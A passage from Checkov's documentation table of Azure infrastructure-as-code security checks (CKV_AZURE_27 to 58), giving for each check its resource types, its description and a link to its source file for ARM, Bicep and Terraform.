[SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py) | | 5605 | CKV_AZURE_27 | resource | Microsoft.Sql/servers/databases | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | arm | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py) | | 5606 | CKV_AZURE_27 | resource | Microsoft.Sql/servers/databases | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | Bicep | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py) | | 5607 | CKV_AZURE_27 | resource | azurerm_mssql_server_security_alert_policy | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers | Terraform | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py) | | 5608 | CKV_AZURE_28 | resource | Microsoft.DBforMySQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | arm | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py) | | 5609 | CKV_AZURE_28 | resource | Microsoft.DBforMySQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | Bicep | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py) | | 5610 | CKV_AZURE_28 | resource | azurerm_mysql_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server | Terraform | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py) | | 5611 | CKV_AZURE_29 | resource | Microsoft.DBforPostgreSQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | arm | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py) | | 5612 | CKV_AZURE_29 | resource | Microsoft.DBforPostgreSQL/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | Bicep | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py) | | 5613 | CKV_AZURE_29 | resource | azurerm_postgresql_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server | Terraform | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py) | | 5614 | CKV_AZURE_30 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 5615 | CKV_AZURE_30 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 5616 | CKV_AZURE_30 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py) | | 5617 | CKV_AZURE_30 | resource | configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 5618 | CKV_AZURE_30 | resource | configurations | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py) | | 5619 | CKV_AZURE_31 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 5620 | CKV_AZURE_31 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 5621 | CKV_AZURE_31 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py) | | 5622 | CKV_AZURE_31 | resource | configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 5623 | CKV_AZURE_31 | resource | configurations | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py) | | 5624 | CKV_AZURE_32 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 5625 | CKV_AZURE_32 | resource | Microsoft.DBforPostgreSQL/servers/configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 5626 | CKV_AZURE_32 | resource | azurerm_postgresql_configuration | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py) | | 5627 | CKV_AZURE_32 | resource | configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | arm | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 5628 | CKV_AZURE_32 | resource | configurations | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server | Bicep | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py) | | 5629 | CKV_AZURE_33 | resource | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests | arm | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py) | | 5630 | CKV_AZURE_33 | resource | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings | Ensure Storage logging is enabled for Queue service for read, write and delete requests | Bicep | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py) | | 5631 | CKV_AZURE_33 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Queue service for read, write and delete requests | Terraform | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py) | | 5632 | CKV_AZURE_34 | resource | Microsoft.Storage/storageAccounts/blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5633 | CKV_AZURE_34 | resource | Microsoft.Storage/storageAccounts/blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5634 | CKV_AZURE_34 | resource | azurerm_storage_container | Ensure that 'Public access level' is set to Private for blob containers | Terraform | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py) | | 5635 | CKV_AZURE_34 | resource | blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5636 | CKV_AZURE_34 | resource | blobServices/containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5637 | CKV_AZURE_34 | resource | containers | Ensure that 'Public access level' is set to Private for blob containers | arm | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5638 | CKV_AZURE_34 | resource | containers | Ensure that 'Public access level' is set to Private for blob containers | Bicep | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py) | | 5639 | CKV_AZURE_35 | resource | Microsoft.Storage/storageAccounts | Ensure default network access rule for Storage Accounts is set to deny | arm | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py) | | 5640 | CKV_AZURE_35 | resource | Microsoft.Storage/storageAccounts | Ensure default network access rule for Storage Accounts is set to deny | Bicep | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 5641 | CKV_AZURE_35 | resource | azurerm_storage_account | Ensure default network access rule for Storage Accounts is set to deny | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 5642 | CKV_AZURE_35 | resource | azurerm_storage_account_network_rules | Ensure default network access rule for Storage Accounts is set to deny | Terraform | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py) | | 5643 | CKV_AZURE_36 | resource | Microsoft.Storage/storageAccounts | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | arm | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py) | | 5644 | CKV_AZURE_36 | resource | Microsoft.Storage/storageAccounts | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Bicep | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 5645 | CKV_AZURE_36 | resource | azurerm_storage_account | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 5646 | CKV_AZURE_36 | resource | azurerm_storage_account_network_rules | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access | Terraform | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py) | | 5647 | CKV_AZURE_37 | resource | Microsoft.Insights/logprofiles | Ensure that Activity Log Retention is set 365 days or greater | arm | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py) | | 5648 | CKV_AZURE_37 | resource | Microsoft.Insights/logprofiles | Ensure that Activity Log Retention is set 365 days or greater | Bicep | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py) | | 5649 | CKV_AZURE_37 | resource | azurerm_monitor_log_profile | Ensure that Activity Log Retention is set 365 days or greater | Terraform | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py) | | 5650 | CKV_AZURE_38 | resource | Microsoft.Insights/logprofiles | Ensure audit profile captures all the activities | arm | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py) | | 5651 | CKV_AZURE_38 | resource | Microsoft.Insights/logprofiles | Ensure audit profile captures all the activities | Bicep | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py) | | 5652 | CKV_AZURE_38 | resource | azurerm_monitor_log_profile | Ensure audit profile captures all the activities | Terraform | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py) | | 5653 | CKV_AZURE_39 | resource | Microsoft.Authorization/roleDefinitions | Ensure that no custom subscription owner roles are created | arm | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py) | | 5654 | CKV_AZURE_39 | resource | Microsoft.Authorization/roleDefinitions | Ensure that no custom subscription owner roles are created | Bicep | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py) | | 5655 | CKV_AZURE_39 | resource | azurerm_role_definition | Ensure that no custom subscription owner roles are created | Terraform | [CutsomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py) | | 5656 | CKV_AZURE_40 | resource | Microsoft.KeyVault/vaults/keys | Ensure that the expiration date is set on all keys | arm | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py) | | 5657 | CKV_AZURE_40 | resource | Microsoft.KeyVault/vaults/keys | Ensure that the expiration date is set on all keys | Bicep | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py) | | 5658 | CKV_AZURE_40 | resource | azurerm_key_vault_key | Ensure that the expiration date is set on all keys | Terraform | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyExpirationDate.py) | | 5659 | CKV_AZURE_41 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that the expiration date is set on all secrets | arm | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py) | | 5660 | CKV_AZURE_41 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that the expiration date is set on all secrets | Bicep | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py) | | 5661 | CKV_AZURE_41 | resource | azurerm_key_vault_secret | Ensure that the expiration date is set on all secrets | Terraform | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretExpirationDate.py) | | 5662 | CKV_AZURE_42 | resource | Microsoft.KeyVault/vaults | Ensure the key vault is recoverable | arm | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py) | | 5663 | CKV_AZURE_42 | resource | Microsoft.KeyVault/vaults | Ensure the key vault is recoverable | Bicep | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py) | | 5664 | CKV_AZURE_42 | resource | azurerm_key_vault | Ensure the key vault is recoverable | Terraform | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyvaultRecoveryEnabled.py) | | 5665 | CKV_AZURE_43 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Accounts adhere to the naming rules | arm | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py) | | 5666 | CKV_AZURE_43 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Accounts adhere to the naming rules | Bicep | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py) | | 5667 | CKV_AZURE_43 | resource | azurerm_storage_account | Ensure Storage Accounts adhere to the naming rules | Terraform | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountName.py) | | 5668 | CKV_AZURE_44 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Account is using the latest version of TLS encryption | arm | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py) | | 5669 | CKV_AZURE_44 | resource | Microsoft.Storage/storageAccounts | Ensure Storage Account is using the latest version of TLS encryption | Bicep | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py) | | 5670 | CKV_AZURE_44 | resource | azurerm_storage_account | Ensure Storage Account is using the latest version of TLS encryption | Terraform | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py) | | 5671 | CKV_AZURE_45 | resource | Microsoft.Compute/virtualMachines | Ensure that no sensitive credentials are exposed in VM custom_data | arm | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py) | | 5672 | CKV_AZURE_45 | resource | Microsoft.Compute/virtualMachines | Ensure that no sensitive credentials are exposed in VM custom_data | Bicep | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py) | | 5673 | CKV_AZURE_45 | resource | azurerm_virtual_machine | Ensure that no sensitive credentials are exposed in VM custom_data | Terraform | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMCredsInCustomData.py) | | 5674 | CKV_AZURE_47 | resource | Microsoft.DBforMariaDB/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | arm | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py) | | 5675 | CKV_AZURE_47 | resource | Microsoft.DBforMariaDB/servers | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | Bicep | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py) | | 5676 | CKV_AZURE_47 | resource | azurerm_mariadb_server | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers | Terraform | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBSSLEnforcementEnabled.py) | | 5677 | CKV_AZURE_48 | resource | Microsoft.DBforMariaDB/servers | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | arm | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py) | | 5678 | CKV_AZURE_48 | resource | Microsoft.DBforMariaDB/servers | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | Bicep | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py) | | 5679 | CKV_AZURE_48 | resource | azurerm_mariadb_server | Ensure 'public network access enabled' is set to 'False' for MariaDB servers | Terraform | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBPublicAccessDisabled.py) | | 5680 | CKV_AZURE_49 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | arm | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py) | | 5681 | CKV_AZURE_49 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | Bicep | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py) | | 5682 | CKV_AZURE_49 | resource | azurerm_linux_virtual_machine_scale_set | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureScaleSetPassword.py) | | 5683 | CKV_AZURE_50 | resource | Microsoft.Compute/virtualMachines | Ensure Virtual Machine Extensions are not Installed | arm | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py) | | 5684 | CKV_AZURE_50 | resource | Microsoft.Compute/virtualMachines | Ensure Virtual Machine Extensions are not Installed | Bicep | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py) | | 5685 | CKV_AZURE_50 | resource | azurerm_linux_virtual_machine | Ensure Virtual Machine Extensions are not Installed | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py) | | 5686 | CKV_AZURE_50 | resource | azurerm_windows_virtual_machine | Ensure Virtual Machine Extensions are not Installed | Terraform | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstanceExtensions.py) | | 5687 | CKV_AZURE_52 | resource | Microsoft.Sql/servers | Ensure MSSQL is using the latest version of TLS encryption | arm | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py) | | 5688 | CKV_AZURE_52 | resource | Microsoft.Sql/servers | Ensure MSSQL is using the latest version of TLS encryption | Bicep | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py) | | 5689 | CKV_AZURE_52 | resource | azurerm_mssql_server | Ensure MSSQL is using the latest version of TLS encryption | Terraform | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerMinTLSVersion.py) | | 5690 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | arm | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 5691 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 5692 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/servers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | arm | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 5693 | CKV_AZURE_53 | resource | Microsoft.DBforMySQL/servers | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Bicep | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py) | | 5694 | CKV_AZURE_53 | resource | azurerm_mysql_server | Ensure 'public network access enabled' is set to 'False' for mySQL servers | Terraform | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLPublicAccessDisabled.py) | | 5695 | CKV_AZURE_54 | resource | Microsoft.DBforMySQL/servers | Ensure MySQL is using the latest version of TLS encryption | arm | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py) | | 5696 | CKV_AZURE_54 | resource | Microsoft.DBforMySQL/servers | Ensure MySQL is using the latest version of TLS encryption | Bicep | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py) | | 5697 | CKV_AZURE_54 | resource | azurerm_mysql_server | Ensure MySQL is using the latest version of TLS encryption | Terraform | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerMinTLSVersion.py) | | 5698 | CKV_AZURE_55 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Servers | Terraform | [AzureDefenderOnServers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnServers.py) | | 5699 | CKV_AZURE_56 | resource | Microsoft.Web/sites/config | Ensure that function apps enables Authentication | arm | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py) | | 5700 | CKV_AZURE_56 | resource | Microsoft.Web/sites/config | Ensure that function apps enables Authentication | Bicep | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py) | | 5701 | CKV_AZURE_56 | resource | azurerm_function_app | Ensure that function apps enables Authentication | Terraform | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppsEnableAuthentication.py) | | 5702 | CKV_AZURE_57 | resource | Microsoft.Web/sites | Ensure that CORS disallows every resource to access app services | arm | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py) | | 5703 | CKV_AZURE_57 | resource | Microsoft.Web/sites | Ensure that CORS disallows every resource to access app services | Bicep | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py) | | 5704 | CKV_AZURE_57 | resource | azurerm_app_service | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 5705 | CKV_AZURE_57 | resource | azurerm_linux_web_app | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 5706 | CKV_AZURE_57 | resource | azurerm_windows_web_app | Ensure that CORS disallows every resource to access app services | Terraform | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py) | | 5707 | CKV_AZURE_58 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces enables managed virtual networks | arm | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py) | | 5708 | CKV_AZURE_58 | resource | Microsoft.Synapse/workspaces | 